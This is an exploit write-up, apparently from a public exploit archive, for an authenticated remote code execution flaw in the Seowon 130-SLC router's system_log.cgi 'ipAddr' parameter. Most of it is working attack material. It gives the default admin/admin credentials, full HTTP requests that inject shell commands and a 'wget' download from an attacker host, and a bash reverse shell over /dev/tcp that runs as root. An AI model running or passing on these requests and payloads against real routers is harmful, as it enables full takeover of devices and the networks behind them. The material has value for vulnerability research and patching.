Seowon 130-SLC 1.0.11 Remote Code Execution

`# Exploit Title: Seowon 130-SLC router 1.0.11 - 'ipAddr' RCE (Authenticated)  
# Date: 5 Aug 2020  
# Exploit Author: maj0rmil4d  
# Vendor Homepage: http://www.seowonintech.co.kr/en/  
# Hardware Link: http://www.seowonintech.co.kr/en/product/detail.asp?num=150&big_kindB05&middle_kindB05_29  
# Version: 1.0.11 (Possibly all versions)  
  
The default user/pass is admin/admin  
your commands run as root user  
the vulnerablity is on the ipAddr parameter in system_log.cgi  
  
Usage:  
  
login to the dashboard.  
setup your listener.  
download the revshell.txt with the RCE  
run the revshell.txt  
  
* here is the RCE request :  
  
POST /cgi-bin/system_log.cgi? HTTP/1.1  
Host: 192.168.1.1  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/201=  
00101 Firefox/79.0  
Accept: */*  
Accept-Language: en-US,en;q0.5  
Accept-Encoding: gzip, deflate  
Content-type: application/x-www-form-urlencoded  
Content-Length: 183  
Origin: http://192.168.1.1  
Connection: close  
Referer: http://192.168.1.1/diagnostic.html?t201802140812  
Cookie: productcpe; cpe_buildTime201802140812; vendormobinnet; =  
connTypelte; modelCodeSLC_130G; cpe_multiPdnEnable1; cpe_langen=  
; cpe_voip0; cpe_cwmpc1; cpe_snmp1; filesharing0; cpe_switchEna=  
ble0; cpe_vlanEnable1; cpe_IPv6Enable1; cpe_foc0; cpe_vpn1; =  
cpe_httpsEnable0; cpe_internetMTUEnable0; cpe_sleepMode0; cpe_wlan=  
Enable1; cpe_simRestriction0; cpe_opmode1; sessionTime159664408=  
4662; cpe_loginadmin; _lang  
  
CommandDiagnostic&traceModetrace&reportIpOnly0&pingPktSize56=  
&pingTimeout30&pingCount4&ipAddr;id&maxTTLCnt30&queriesCnt3&=  
reportIpOnlyCheckboxon&btnApplyApply&T1596644096617  
  
  
* to get a reverse shell, setup the listener and download the file on the r=  
outer then run it .  
* the content of the revshell.txt :  
  
bash -i >& /dev/tcp/192.168.1.10/45214 0>&1  
  
* to download :  
  
  
POST /cgi-bin/system_log.cgi? HTTP/1.1  
Host: 192.168.1.1  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/201=  
00101 Firefox/79.0  
Accept: */*  
Accept-Language: en-US,en;q0.5  
Accept-Encoding: gzip, deflate  
Content-type: application/x-www-form-urlencoded  
Content-Length: 183  
Origin: http://192.168.1.1  
Connection: close  
Referer: http://192.168.1.1/diagnostic.html?t201802140812  
Cookie: productcpe; cpe_buildTime201802140812; vendormobinnet; =  
connTypelte; modelCodeSLC_130G; cpe_multiPdnEnable1; cpe_langen=  
; cpe_voip0; cpe_cwmpc1; cpe_snmp1; filesharing0; cpe_switchEna=  
ble0; cpe_vlanEnable1; cpe_IPv6Enable1; cpe_foc0; cpe_vpn1; =  
cpe_httpsEnable0; cpe_internetMTUEnable0; cpe_sleepMode0; cpe_wlan=  
Enable1; cpe_simRestriction0; cpe_opmode1; sessionTime159664408=  
4662; cpe_loginadmin; _lang  
  
CommandDiagnostic&traceModetrace&reportIpOnly0&pingPktSize56=  
&pingTimeout30&pingCount4&ipAddr;wget http://192.168.1.10/revshell=  
.txt&maxTTLCnt30&queriesCnt3&reportIpOnlyCheckboxon&btnApplyApp=  
ly&T1596644096617  
  
  
* to run it :  
  
POST /cgi-bin/system_log.cgi? HTTP/1.1  
Host: 192.168.1.1  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/201=  
00101 Firefox/79.0  
Accept: */*  
Accept-Language: en-US,en;q0.5  
Accept-Encoding: gzip, deflate  
Content-type: application/x-www-form-urlencoded  
Content-Length: 183  
Origin: http://192.168.1.1  
Connection: close  
Referer: http://192.168.1.1/diagnostic.html?t201802140812  
Cookie: productcpe; cpe_buildTime201802140812; vendormobinnet; =  
connTypelte; modelCodeSLC_130G; cpe_multiPdnEnable1; cpe_langen=  
; cpe_voip0; cpe_cwmpc1; cpe_snmp1; filesharing0; cpe_switchEna=  
ble0; cpe_vlanEnable1; cpe_IPv6Enable1; cpe_foc0; cpe_vpn1; =  
cpe_httpsEnable0; cpe_internetMTUEnable0; cpe_sleepMode0; cpe_wlan=  
Enable1; cpe_simRestriction0; cpe_opmode1; sessionTime159664408=  
4662; cpe_loginadmin; _lang  
  
CommandDiagnostic&traceModetrace&reportIpOnly0&pingPktSize56=  
&pingTimeout30&pingCount4&ipAddr;bash revshell.txt&maxTTLCnt30&=  
queriesCnt3&reportIpOnlyCheckboxon&btnApplyApply&T1596644096617  
`